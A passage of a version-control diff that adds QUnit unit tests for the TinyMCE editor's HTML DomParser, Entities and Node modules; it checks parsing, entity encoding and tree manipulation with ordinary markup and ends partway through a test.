+		equal(result.nodes.length, 2, 'Parser filter result node');
+		equal(result.nodes[0].name, 'img', 'Parser filter result node(0) name');
+		equal(result.nodes[0].attr('src'), '1.gif', 'Parser filter result node(0) attr');
+		equal(result.nodes[1].name, 'img', 'Parser filter result node(1) name');
+		equal(result.nodes[1].attr('src'), '1.gif', 'Parser filter result node(1) attr');
+	});
+
+	test('addAttributeFilter multiple', function() {
+		var parser, results = {};
+
+		expect(14);
+
+		parser = new tinymce.html.DomParser({});
+		parser.addAttributeFilter('src,href', function(nodes, name, args) {
+			results[name] = {nodes : nodes, name : name, args : args};
+		});
+		parser.parse('<b><a href="1.gif">a</a><img src="1.gif" />b<img src="1.gif" /><a href="2.gif">c</a></b>');
+
+		deepEqual(results.src.args, {}, 'Parser args');
+		equal(results.src.name, 'src', 'Parser filter result name');
+		equal(results.src.nodes.length, 2, 'Parser filter result node');
+		equal(results.src.nodes[0].name, 'img', 'Parser filter result node(0) name');
+		equal(results.src.nodes[0].attr('src'), '1.gif', 'Parser filter result node(0) attr');
+		equal(results.src.nodes[1].name, 'img', 'Parser filter result node(1) name');
+		equal(results.src.nodes[1].attr('src'), '1.gif', 'Parser filter result node(1) attr');
+		deepEqual(results.href.args, {}, 'Parser args');
+		equal(results.href.name, 'href', 'Parser filter result name');
+		equal(results.href.nodes.length, 2, 'Parser filter result node');
+		equal(results.href.nodes[0].name, 'a', 'Parser filter result node(0) name');
+		equal(results.href.nodes[0].attr('href'), '1.gif', 'Parser filter result node(0) attr');
+		equal(results.href.nodes[1].name, 'a', 'Parser filter result node(1) name');
+		equal(results.href.nodes[1].attr('href'), '2.gif', 'Parser filter result node(1) attr');
+	});
+
+	test('Fix orphan LI elements', function() {
+		var parser;
+
+		expect(3);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<ul><li>a</li></ul><li>b</li>');
+		equal(serializer.serialize(root), '<ul><li>a</li><li>b</li></ul>', 'LI moved to previous sibling UL');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<li>a</li><ul><li>b</li></ul>');
+		equal(serializer.serialize(root), '<ul><li>a</li><li>b</li></ul>', 'LI moved to next sibling UL');
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<li>a</li>');
+		equal(serializer.serialize(root), '<ul><li>a</li></ul>', 'LI wrapped in new UL');
+	});
+
+	test('Remove empty elements', function() {
+		var parser, schema = new tinymce.html.Schema({valid_elements: 'span,-a,img'});
+
+		expect(3);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<span></span><a href="#"></a>');
+		equal(serializer.serialize(root), '<span></span>', 'Remove empty a element');
+
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({valid_elements: 'span,a[name],img'}));
+		root = parser.parse('<span></span><a name="anchor"></a>');
+		equal(serializer.serialize(root), '<span></span><a name="anchor"></a>', 'Leave a with name attribute');
+
+		parser = new tinymce.html.DomParser({}, new tinymce.html.Schema({valid_elements: 'span,a[href],img[src]'}));
+		root = parser.parse('<span></span><a href="#"><img src="about:blank" /></a>');
+		equal(serializer.serialize(root), '<span></span><a href="#"><img src="about:blank" /></a>', 'Leave elements with img in it');
+	});
+
+	test('Self closing list elements', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<ul><li>1<li><b>2</b><li><em><b>3</b></em></ul>');
+		equal(serializer.serialize(root), '<ul><li>1</li><li><strong>2</strong></li><li><em><strong>3</strong></em></li></ul>', 'Split out LI elements in LI elements.');
+	});
+
+	test('Remove redundant br elements', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse(
+			'<p>a<br></p>' +
+			'<p>a<br>b<br></p>' +
+			'<p>a<br><br></p><p>a<br><span data-mce-type="bookmark"></span><br></p>' +
+			'<p>a<span data-mce-type="bookmark"></span><br></p>'
+		);
+		equal(serializer.serialize(root), '<p>a</p><p>a<br />b</p><p>a<br /><br /></p><p>a<br /><br /></p><p>a</p>', 'Remove traling br elements.');
+	});
+
+	test('Replace br with nbsp when wrapped in two inline elements and one block', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse('<p><strong><em><br /></em></strong></p>');
+		equal(serializer.serialize(root), '<p><strong><em>\u00a0</em></strong></p>');
+	});
+
+	test('Replace br with nbsp when wrapped in an inline element and placed in the root', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse('<strong><br /></strong>');
+		equal(serializer.serialize(root), '<strong>\u00a0</strong>');
+	});
+
+	test('Don\'t replace br inside root element when there is multiple brs', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse('<strong><br /><br /></strong>');
+		equal(serializer.serialize(root), '<strong><br /><br /></strong>');
+	});
+
+	test('Don\'t replace br inside root element when there is siblings', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse('<strong><br /></strong><em>x</em>');
+		equal(serializer.serialize(root), '<strong><br /></strong><em>x</em>');
+	});
+
+	test('Remove br in invalid parent bug', function() {
+		var parser, root, schema = new tinymce.html.Schema({valid_elements: 'br'});
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({remove_trailing_brs : true}, schema);
+		root = parser.parse('<br>');
+		equal(serializer.serialize(root), '', 'Remove traling br elements.');
+	});
+
+	test('Forced root blocks', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({forced_root_block : 'p'}, schema);
+		root = parser.parse(
+			'<!-- a -->' +
+			'b' +
+			'<b>c</b>' +
+			'<p>d</p>' +
+			'<p>e</p>' +
+			'f' +
+			'<b>g</b>' +
+			'h'
+		);
+		equal(serializer.serialize(root), '<!-- a --><p>b<strong>c</strong></p><p>d</p><p>e</p><p>f<strong>g</strong>h</p>', 'Mixed text nodes, inline elements and blocks.');
+	});
+
+	test('Forced root blocks attrs', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		expect(1);
+
+		parser = new tinymce.html.DomParser({forced_root_block: 'p', forced_root_block_attrs: {"class": "class1"}}, schema);
+		root = parser.parse(
+			'<!-- a -->' +
+			'b' +
+			'<b>c</b>' +
+			'<p>d</p>' +
+			'<p>e</p>' +
+			'f' +
+			'<b>g</b>' +
+			'h'
+		);
+		equal(serializer.serialize(root), '<!-- a -->' +
+			'<p class="class1">b<strong>c</strong></p>' +
+			'<p>d</p>' +
+			'<p>e</p>' +
+			'<p class="class1">f<strong>g</strong>h</p>',
+		'Mixed text nodes, inline elements and blocks.');
+	});
+
+	test('Parse contents with html4 anchors and allow_html_in_named_anchor: false', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({allow_html_in_named_anchor : false}, schema);
+		root = parser.parse('<a name="x">a</a><a href="x">x</a>');
+		equal(serializer.serialize(root), '<a name="x"></a>a<a href="x">x</a>');
+	});
+
+	test('Parse contents with html5 anchors and allow_html_in_named_anchor: false', function() {
+		var parser, root, schema = new tinymce.html.Schema({schema: "html5"});
+
+		parser = new tinymce.html.DomParser({allow_html_in_named_anchor : false}, schema);
+		root = parser.parse('<a id="x">a</a><a href="x">x</a>');
+		equal(serializer.serialize(root), '<a id="x"></a>a<a href="x">x</a>');
+	});
+
+	test('Parse contents with html4 anchors and allow_html_in_named_anchor: true', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({allow_html_in_named_anchor : true}, schema);
+		root = parser.parse('<a name="x">a</a><a href="x">x</a>');
+		equal(serializer.serialize(root), '<a name="x">a</a><a href="x">x</a>');
+	});
+
+	test('Parse contents with html5 anchors and allow_html_in_named_anchor: true', function() {
+		var parser, root, schema = new tinymce.html.Schema({schema: "html5"});
+
+		parser = new tinymce.html.DomParser({allow_html_in_named_anchor : true}, schema);
+		root = parser.parse('<a id="x">a</a><a href="x">x</a>');
+		equal(serializer.serialize(root), '<a id="x">a</a><a href="x">x</a>');
+	});
+
+	test('Parse contents with html5 self closing datalist options', function() {
+		var parser, root, schema = new tinymce.html.Schema({schema: "html5"});
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<datalist><option label="a1" value="b1"><option label="a2" value="b2"><option label="a3" value="b3"></datalist>');
+		equal(serializer.serialize(root), '<datalist><option label="a1" value="b1"></option><option label="a2" value="b2"></option><option label="a3" value="b3"></option></datalist>');
+	});
+
+	test('Parse inline contents before block bug #5424', function() {
+		var parser, root, schema = new tinymce.html.Schema({schema: "html5"});
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<b>1</b> 2<p>3</p>');
+		equal(serializer.serialize(root), '<b>1</b> 2<p>3</p>');
+	});
+
+	test('Invalid text blocks within a li', function() {
+		var parser, root, schema = new tinymce.html.Schema({schema: "html5", valid_children: '-li[p]'});
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<ul><li>1<p>2</p></li><li>a<p>b</p><p>c</p></li></ul>');
+		equal(serializer.serialize(root), '<ul><li>12</li><li>ab</li><li>c</li></ul>');
+	});
+
+	test('Invalid inline element with space before', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p><span>1</span> <strong>2</strong></p>');
+		equal(serializer.serialize(root), '<p>1 <strong>2</strong></p>');
+	});
+
+	test('Valid classes', function() {
+		var parser, root, schema = new tinymce.html.Schema({valid_classes: 'classA classB'});
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="classA classB classC">a</p>');
+		equal(serializer.serialize(root), '<p class="classA classB">a</p>');
+	});
+
+	test('Valid classes multiple elements', function() {
+		var parser, root, schema = new tinymce.html.Schema({valid_classes: {'*': 'classA classB', 'strong': 'classC'}});
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<p class="classA classB classC"><strong class="classA classB classC">a</strong></p>');
+		equal(serializer.serialize(root), '<p class="classA classB"><strong class="classA classB">a</strong></p>');
+	});
+
+	test('Remove empty list blocks', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('<ul><li></li></ul><ul><li> </li></ul>');
+		equal(serializer.serialize(root), '');
+	});
+
+	test('Preserve space in inline span', function() {
+		var parser, root, schema = new tinymce.html.Schema();
+
+		parser = new tinymce.html.DomParser({}, schema);
+		root = parser.parse('a<span> </span>b');
+		equal(serializer.serialize(root), 'a b');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Entities.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Entities.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Entities.js	(revision 33402)
@@ -0,0 +1,73 @@
+module("tinymce.html.Entities");
+
+test('encodeRaw', function() {
+	expect(2);
+
+	equal(tinymce.html.Entities.encodeRaw('<>"\'&\u00e5\u00e4\u00f6\u0060'), '&lt;&gt;"\'&amp;\u00e5\u00e4\u00f6\u0060', 'Raw encoding text');
+	equal(tinymce.html.Entities.encodeRaw('<>"\'&\u00e5\u00e4\u00f6\u0060', true), '&lt;&gt;&quot;\'&amp;\u00e5\u00e4\u00f6&#96;', 'Raw encoding attribute');
+});
+
+test('encodeAllRaw', function() {
+	expect(1);
+
+	equal(tinymce.html.Entities.encodeAllRaw('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;&quot;&#39;&amp;\u00e5\u00e4\u00f6', 'Raw encoding all');
+});
+
+test('encodeNumeric', function() {
+	expect(2);
+
+	equal(tinymce.html.Entities.encodeNumeric('<>"\'&\u00e5\u00e4\u00f6\u03b8\u2170\ufa11'), '&lt;&gt;"\'&amp;&#229;&#228;&#246;&#952;&#8560;&#64017;', 'Numeric encoding text');
+	equal(tinymce.html.Entities.encodeNumeric('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&#229;&#228;&#246;', 'Numeric encoding attribute');
+});
+
+test('encodeNamed', function() {
+	expect(4);
+
+	equal(tinymce.html.Entities.encodeNamed('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;&aring;&auml;&ouml;', 'Named encoding text');
+	equal(tinymce.html.Entities.encodeNamed('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&aring;&auml;&ouml;', 'Named encoding attribute');
+	equal(tinymce.html.Entities.encodeNamed('<>"\'\u00e5\u00e4\u00f6', false, {'\u00e5' : '&aring;'}), '&lt;&gt;"\'&aring;\u00e4\u00f6', 'Named encoding text');
+	equal(tinymce.html.Entities.encodeNamed('<>"\'\u00e5\u00e4\u00f6', true, {'\u00e5' : '&aring;'}), '&lt;&gt;&quot;\'&aring;\u00e4\u00f6', 'Named encoding attribute');
+});
+
+test('getEncodeFunc', function() {
+	var encodeFunc;
+
+	expect(10);
+
+	encodeFunc = tinymce.html.Entities.getEncodeFunc('raw');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;\u00e5\u00e4\u00f6', 'Raw encoding text');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;\u00e5\u00e4\u00f6', 'Raw encoding attribute');
+
+	encodeFunc = tinymce.html.Entities.getEncodeFunc('named');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;&aring;&auml;&ouml;', 'Named encoding text');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&aring;&auml;&ouml;', 'Named encoding attribute');
+
+	encodeFunc = tinymce.html.Entities.getEncodeFunc('numeric');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;&#229;&#228;&#246;', 'Named encoding text');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&#229;&#228;&#246;', 'Named encoding attribute');
+
+	encodeFunc = tinymce.html.Entities.getEncodeFunc('named+numeric', '229,aring');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;&aring;&#228;&#246;', 'Named+numeric encoding text');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&aring;&#228;&#246;', 'Named+numeric encoding attribute');
+
+	encodeFunc = tinymce.html.Entities.getEncodeFunc('named,numeric', '229,aring');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6'), '&lt;&gt;"\'&amp;&aring;&#228;&#246;', 'Named+numeric encoding text');
+	equal(encodeFunc('<>"\'&\u00e5\u00e4\u00f6', true), '&lt;&gt;&quot;\'&amp;&aring;&#228;&#246;', 'Named+numeric encoding attribute');
+});
+
+test('decode', function() {
+	expect(3);
+
+	equal(tinymce.html.Entities.decode('&lt;&gt;&quot;&#39;&amp;&aring;&auml;&ouml;&unknown;&#039;&#x27;'), '<>"\'&\u00e5\u00e4\u00f6&unknown;\'\'', 'Decode text with various entities');
+
+	equal(tinymce.html.Entities.encodeNumeric(tinymce.html.Entities.decode(
+		'&#130;&#131;&#132;&#133;&#134;&#135;&#136;&#137;&#138;' +
+		'&#139;&#140;&#141;&#142;&#143;&#144;&#145;&#146;&#147;&#148;&#149;&#150;&#151;&#152;' +
+		'&#153;&#154;&#155;&#156;&#157;&#158;&#159;')
+	), '&#8218;&#402;&#8222;&#8230;&#8224;&#8225;&#710;&#8240;&#352;&#8249;&#338;&#141;&#381;' +
+		'&#143;&#144;&#8216;&#8217;&#8220;&#8221;&#8226;&#8211;&#8212;&#732;&#8482;&#353;' +
+		'&#8250;&#339;&#157;&#382;&#376;',
+	'Entity decode ascii');
+
+	equal(tinymce.html.Entities.encodeNumeric(tinymce.html.Entities.decode('&#194564;')), '&#194564;', "High byte non western character.");
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Node.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Node.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Node.js	(revision 33402)
@@ -0,0 +1,442 @@
+module("tinymce.html.Node");
+
+test('construction', function() {
+	var node;
+
+	expect(15);
+
+	node = new tinymce.html.Node('#text', 3);
+	equal(node.name, '#text');
+	equal(node.type, 3);
+
+	node = new tinymce.html.Node('#comment', 8);
+	equal(node.name, '#comment');
+	equal(node.type, 8);
+
+	node = new tinymce.html.Node('b', 1);
+	equal(node.name, 'b');
+	equal(node.type, 1);
+	deepEqual(node.attributes, []);
+
+	node = new tinymce.html.Node('#pi', 7);
+	equal(node.name, '#pi');
+	equal(node.type, 7);
+
+	node = new tinymce.html.Node('#doctype', 10);
+	equal(node.name, '#doctype');
+	equal(node.type, 10);
+
+	node = new tinymce.html.Node('#cdata', 4);
+	equal(node.name, '#cdata');
+	equal(node.type, 4);
+
+	node = new tinymce.html.Node('#frag', 11);
+	equal(node.name, '#frag');
+	equal(node.type, 11);
+});
+
+test('append inside empty node', function() {
+	var root, node;
+
+	expect(10);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node = root.append(new tinymce.html.Node('b', 1));
+	ok(root.firstChild.parent === root);
+	equal(root.firstChild.next, undefined);
+	equal(root.firstChild.prev, undefined);
+	equal(root.firstChild.firstChild, undefined);
+	equal(root.firstChild.lastChild, undefined);
+	ok(node.parent === root);
+	equal(node.next, undefined);
+	equal(node.prev, undefined);
+	equal(node.firstChild, undefined);
+	equal(node.lastChild, undefined);
+});
+
+test('append node after node', function() {
+	var root, node, node2;
+
+	expect(17);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node2 = root.append(new tinymce.html.Node('a', 1));
+	node = root.append(new tinymce.html.Node('b', 1));
+	ok(root.firstChild.parent === root, 'root.firstChild.parent === root');
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node, 'root.firstChild');
+	ok(root.firstChild.next === node, 'root.firstChild.next');
+	equal(root.firstChild.prev, undefined, 'root.firstChild.prev');
+	equal(root.firstChild.firstChild, undefined, 'root.firstChild.firstChild');
+	equal(root.firstChild.lastChild, undefined, 'root.firstChild.lastChild');
+	ok(node2.parent === root, 'node2.parent === root');
+	ok(node2.next === node, 'node2.next');
+	equal(node2.prev, undefined, 'node2.prev');
+	equal(node2.firstChild, undefined, 'node2.firstChild');
+	equal(node2.lastChild, undefined, 'node2.lastChild');
+	ok(node.parent === root, 'node.parent === root');
+	equal(node.next, undefined, 'node.next');
+	ok(node.prev === node2, 'node.prev');
+	equal(node.firstChild, undefined, 'node.firstChild');
+	equal(node.lastChild, undefined, 'node.lastChild');
+});
+
+test('append existing node before other existing node', function() {
+	var root, node, node2;
+
+	expect(8);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.append(new tinymce.html.Node('b', 1));
+	root.append(node);
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node, 'root.lastChild');
+	equal(node.next, undefined, 'node.next');
+	ok(node.prev === node2, 'node.prev');
+	ok(node.parent === root, 'node.parent');
+	ok(node2.parent === root, 'node2.parent');
+	equal(node2.prev, undefined, 'node2.prev');
+	ok(node2.next === node, 'node2.next');
+});
+
+test('remove unattached node', function() {
+	expect(1);
+
+	ok(!new tinymce.html.Node('#text', 3).remove().parent);
+});
+
+test('remove single child', function() {
+	var root, node;
+
+	expect(6);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node = root.append(new tinymce.html.Node('p', 1));
+	node = root.firstChild.remove();
+	equal(root.firstChild, undefined);
+	equal(root.lastChild, undefined);
+	equal(node.parent, undefined);
+	equal(node.next, undefined);
+	equal(node.prev, undefined);
+	equal(node.name, 'p');
+});
+
+test('remove middle node', function() {
+	var root, node, node2, node3;
+
+	expect(9);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.append(new tinymce.html.Node('b', 1));
+	node3 = root.append(new tinymce.html.Node('c', 1));
+	node2.remove();
+	equal(node2.parent, undefined);
+	equal(node2.next, undefined);
+	equal(node2.prev, undefined);
+	ok(root.firstChild === node, 'root.firstChild');
+	ok(root.lastChild === node3, 'root.lastChild');
+	ok(node.next === node3, 'node.next');
+	equal(node.prev, undefined, 'node.prev');
+	ok(node3.prev, node, 'node3.prev');
+	equal(node3.next, undefined, 'node3.next');
+});
+
+test('insert after last', function() {
+	var fragment, root, node, node2;
+
+	expect(5);
+
+	fragment = new tinymce.html.Node('#frag', 11);
+	root = fragment.append(new tinymce.html.Node('body', 1));
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.insert(new tinymce.html.Node('x', 1), node);
+	ok(root.firstChild === node, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node.next === node2, 'node.next');
+	ok(node2.prev === node, 'node2.prev');
+	ok(node2.parent === root, 'node3.next');
+});
+
+test('insert before first', function() {
+	var fragment, root, node, node2;
+
+	expect(8);
+
+	fragment = new tinymce.html.Node('#frag', 11);
+	root = fragment.append(new tinymce.html.Node('body', 1));
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.insert(new tinymce.html.Node('x', 1), node, true);
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node, 'root.lastChild');
+	ok(node2.parent === root, 'node2.lastChild');
+	ok(node2.next === node, 'node2.next');
+	ok(node2.prev === undefined, 'node2.prev');
+	ok(node.parent === root, 'node.lastChild');
+	ok(node.next === undefined, 'node.next');
+	ok(node.prev === node2, 'node.prev');
+});
+
+test('insert before second', function() {
+	var fragment, root, node, node2, node3;
+
+	expect(5);
+
+	fragment = new tinymce.html.Node('#frag', 11);
+	root = fragment.append(new tinymce.html.Node('body', 1));
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.append(new tinymce.html.Node('b', 1));
+	node3 = root.insert(new tinymce.html.Node('x', 1), node2, true);
+	ok(root.firstChild === node, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node3.parent === root, 'node3.parent');
+	ok(node3.next === node2, 'node3.next');
+	ok(node3.prev === node, 'node3.prev');
+});
+
+test('insert after and between two nodes', function() {
+	var root, node, node2, node3, fragment;
+
+	expect(7);
+
+	fragment = new tinymce.html.Node('#frag', 11);
+	root = fragment.append(new tinymce.html.Node('body', 1));
+	node = root.append(new tinymce.html.Node('a', 1));
+	node2 = root.append(new tinymce.html.Node('b', 1));
+	node3 = root.insert(new tinymce.html.Node('x', 1), node);
+	ok(root.firstChild === node, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node.next === node3, 'node.next');
+	ok(node2.prev === node3, 'node2.prev');
+	ok(node3.parent === root, 'node3.next');
+	ok(node3.next === node2, 'node3.next');
+	ok(node3.prev === node, 'node3.prev');
+});
+
+test('replace single child', function() {
+	var root, node1, node2;
+
+	expect(5);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = root.append(new tinymce.html.Node('em', 1));
+	node1.replace(node2);
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node2.parent === root, 'node2.parent');
+	ok(!node2.next, 'node2.next');
+	ok(!node2.prev, 'node2.prev');
+});
+
+test('replace first child', function() {
+	var root, node1, node2, node3;
+
+	expect(5);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = root.append(new tinymce.html.Node('em', 1));
+	node3 = root.append(new tinymce.html.Node('b', 1));
+	node1.replace(node2);
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node3, 'root.lastChild');
+	ok(node2.parent === root, 'node2.parent');
+	ok(node2.next === node3, 'node2.next');
+	ok(!node2.prev, 'node2.prev');
+});
+
+test('replace last child', function() {
+	var root, node1, node2, node3;
+
+	expect(5);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node3 = root.append(new tinymce.html.Node('b', 1));
+	node2 = root.append(new tinymce.html.Node('em', 1));
+	node3.replace(node2);
+	ok(root.firstChild === node1, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node2.parent === root, 'node2.parent');
+	ok(!node2.next, 'node2.next');
+	ok(node2.prev === node1, 'node2.prev');
+});
+
+test('replace middle child', function() {
+	var root, node1, node2, node3, node4;
+
+	expect(5);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = root.append(new tinymce.html.Node('b', 1));
+	node3 = root.append(new tinymce.html.Node('b', 1));
+	node4 = root.append(new tinymce.html.Node('em', 1));
+	node2.replace(node4);
+	ok(root.firstChild === node1, 'root.firstChild');
+	ok(root.lastChild === node3, 'root.lastChild');
+	ok(node4.parent === root, 'node4.parent');
+	ok(node4.next === node3, 'node4.next');
+	ok(node4.prev === node1, 'node4.prev');
+});
+
+test('attr', 22, function() {
+	var node;
+
+	node = new tinymce.html.Node('b', 1);
+	deepEqual(node.attributes, []);
+	node.attr('attr1', 'value1');
+	equal(node.attr('attr1'), 'value1');
+	equal(node.attr('attr2'), undefined);
+	deepEqual(node.attributes, [{name: 'attr1', value: 'value1'}]);
+	deepEqual(node.attributes.map, {'attr1': 'value1'});
+
+	node = new tinymce.html.Node('b', 1);
+	deepEqual(node.attributes, []);
+	node.attr('attr1', 'value1');
+	node.attr('attr1', 'valueX');
+	equal(node.attr('attr1'), 'valueX');
+	deepEqual(node.attributes, [{name: 'attr1', value: 'valueX'}]);
+	deepEqual(node.attributes.map, {'attr1': 'valueX'});
+
+	node = new tinymce.html.Node('b', 1);
+	deepEqual(node.attributes, []);
+	node.attr('attr1', 'value1');
+	node.attr('attr2', 'value2');
+	equal(node.attr('attr1'), 'value1');
+	equal(node.attr('attr2'), 'value2');
+	deepEqual(node.attributes, [{name: 'attr1', value: 'value1'}, {name: 'attr2', value: 'value2'}]);
+	deepEqual(node.attributes.map, {'attr1': 'value1', 'attr2': 'value2'});
+
+	node = new tinymce.html.Node('b', 1);
+	deepEqual(node.attributes, []);
+	node.attr('attr1', 'value1');
+	node.attr('attr1', null);
+	equal(node.attr('attr1'), undefined);
+	deepEqual(node.attributes, []);
+	deepEqual(node.attributes.map, {});
+
+	node = new tinymce.html.Node('b', 1);
+	node.attr({a:'1', b:'2'});
+	deepEqual(node.attributes, [{name: 'a', value: '1'}, {name: 'b', value: '2'}]);
+	deepEqual(node.attributes.map, {a:'1', b:'2'});
+
+	node = new tinymce.html.Node('b', 1);
+	node.attr(null);
+	deepEqual(node.attributes, []);
+	deepEqual(node.attributes.map, {});
+});
+
+test('clone', function() {
+	var root, node, clone;
+
+	expect(16);
+
+	node = new tinymce.html.Node('#text', 3);
+	node.value = 'value';
+	clone = node.clone();
+	equal(clone.name, '#text');
+	equal(clone.type, 3);
+	equal(clone.value, 'value');
+	equal(clone.parent, undefined);
+	equal(clone.next, undefined);
+	equal(clone.prev, undefined);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node = new tinymce.html.Node('#text', 3);
+	node.value = 'value';
+	root.append(node);
+	equal(clone.name, '#text');
+	equal(clone.type, 3);
+	equal(clone.value, 'value');
+	equal(clone.parent, undefined);
+	equal(clone.next, undefined);
+	equal(clone.prev, undefined);
+
+	node = new tinymce.html.Node('b', 1);
+	node.attr('id', 'id');
+	node.attr('class', 'class');
+	node.attr('title', 'title');
+	clone = node.clone();
+	equal(clone.name, 'b');
+	equal(clone.type, 1);
+	deepEqual(clone.attributes, [{name: 'class', value: 'class'}, {name: 'title', value: 'title'}]);
+	deepEqual(clone.attributes.map, {'class': 'class', 'title': 'title'});
+});
+
+test('unwrap', function() {
+	var root, node1, node2, node3;
+
+	expect(7);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = node1.append(new tinymce.html.Node('em', 1));
+	node1.unwrap();
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node2, 'root.lastChild');
+	ok(node2.parent === root, 'node2.parent');
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = node1.append(new tinymce.html.Node('em', 1));
+	node3 = node1.append(new tinymce.html.Node('span', 1));
+	node1.unwrap();
+	ok(root.firstChild === node2, 'root.firstChild');
+	ok(root.lastChild === node3, 'root.lastChild');
+	ok(node2.parent === root, 'node2.parent');
+	ok(node3.parent === root, 'node3.parent');
+});
+
+test('empty', function() {
+	var root, node1, node2;
+
+	expect(4);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('b', 1));
+	node2 = node1.append(new tinymce.html.Node('em', 1));
+	node1.empty();
+	ok(root.firstChild === node1, 'root.firstChild');
+	ok(root.lastChild === node1, 'root.firstChild');
+	ok(!node1.firstChild, 'node1.firstChild');
+	ok(!node1.lastChild, 'node1.firstChild');
+});
+
+test('isEmpty', function() {
+	var root, node1, node2;
+
+	expect(9);
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('p', 1));
